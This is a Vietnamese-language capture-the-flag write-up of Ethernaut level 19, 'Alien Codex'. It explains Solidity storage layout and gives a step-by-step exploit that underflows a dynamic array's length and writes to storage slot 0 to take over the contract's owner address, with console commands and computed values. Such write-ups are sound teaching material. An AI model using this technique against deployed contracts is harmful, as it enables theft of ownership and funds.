KienDT

Talk is cheap. Show me the code.

The Ethernaut writeups: 19 - Alien Codex

19. Alien Codex

Nhiệm vụ: Chiếm quyền owner.

// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;

import '../helpers/Ownable-05.sol';

contract AlienCodex is Ownable {

  bool public contact;
  bytes32[] public codex;

  modifier contacted() {
    assert(contact);
    _;
  }

  function make_contact() public {
    contact = true;
  }

  function record(bytes32 _content) contacted public {
  	codex.push(_content);
  }

  function retract() contacted public {
    codex.length--;
  }

  function revise(uint i, bytes32 _content) contacted public {
    codex[i] = _content;
  }
}

Phân tích

Đầu tiên ta cần hiểu về cách lưu trữ của solidity:

  • Dynamic size array sẽ lưu tại một slot nhớ, slot này chỉ lưu độ dài của array.
  • Phần tử trong dynamic array tại slot p sẽ được lưu trữ lần lượt từ keccak256(p), một lưu ý quan trọng là p là chuỗi 32 bytes, chứ không phải là giá trị uint.

Các bạn có thể tham khảo thêm về storage của solidity tại bài viết này của mình: https://www.kiendt.me/2018/05/01/smart-contract-storage/

Trong contract có cung cấp cho chúng ta 2 hàm mà ta có thể khai thác:

function retract() contacted public {
  codex.length--;
}

function revise(uint i, bytes32 _content) contacted public {
  codex[i] = _content;
}

do đó ta có ý tưởng là:

  • mở toàn bộ các slot của dynamic array codex bằng cách khai thác lỗ hổng underflow bằng hàm retract. Khi độ dài xuống dưới 0 thì sẽ quay trở lại maxuint.
  • địa chỉ của owner được lưu trữ tại vị trí slot 0 (cùng với biến bool contact), ta sẽ tịnh tiến vị trí của i trong hàm revise đến vị trí 0 bằng cách khai thác lỗ hổng overflow, sau đó ghi đè lên giá trị của owner.

Solution

  • đầu tiên ta phải make_contract để có thể gọi được các hàm tiếp theo
contract.make_contact();
  • mở toàn bộ các slot của codex
contract.retract();
  • kiểm tra lại xem toàn bộ slot đã được mở chưa?
await web3.eth.getStorageAt(instance, 1);
> 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
  • phần tử đầu tiên của codex sẽ được lưu trữ tại:
web3.utils.keccak256('0x0000000000000000000000000000000000000000000000000000000000000001');
> '0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6';
  • Tính toán giá trị i cần để overflow và tịnh tiến đến vị trí 0 (ở đây số lớn mình tính bằng python cho tiện)
0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff - 0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6 + 1
> 35707666377435648211887908874984608119992236509074197713628505308453184860938
  • kiểm tra trạng thái của slot 0
await web3.eth.getStorageAt(instance, 0);
> 0x000000000000000000000001da5b3fb76c78b6edee6be8f11a1c31ecfb02b272

trong đó da5b3fb76c78b6edee6be8f11a1c31ecfb02b272 là địa chỉ của owner, số 1 phía trước là giá trị bool(true) của biến contact.

  • để thay địa chỉ owner bằng địa chỉ của mình, ta cần thay giá trị da5b3fb76c78b6edee6be8f11a1c31ecfb02b272 trong slot bằng địa chỉ của mình, trong trường hợp này là c3a005e15cb35689380d9c1318e981bca9339942. Giá trị của slot sẽ là 0x000000000000000000000001c3a005e15cb35689380d9c1318e981bca9339942

  • đưa tất cả vào hàm revise

contract.revise(
  '35707666377435648211887908874984608119992236509074197713628505308453184860938',
  '0x000000000000000000000001c3a005e15cb35689380d9c1318e981bca9339942'
);
  • kiểm tra lại contract owner:
await contract.owner();
> '0xC3a005E15Cb35689380d9C1318e981BcA9339942'
  • Submit & all done!

completed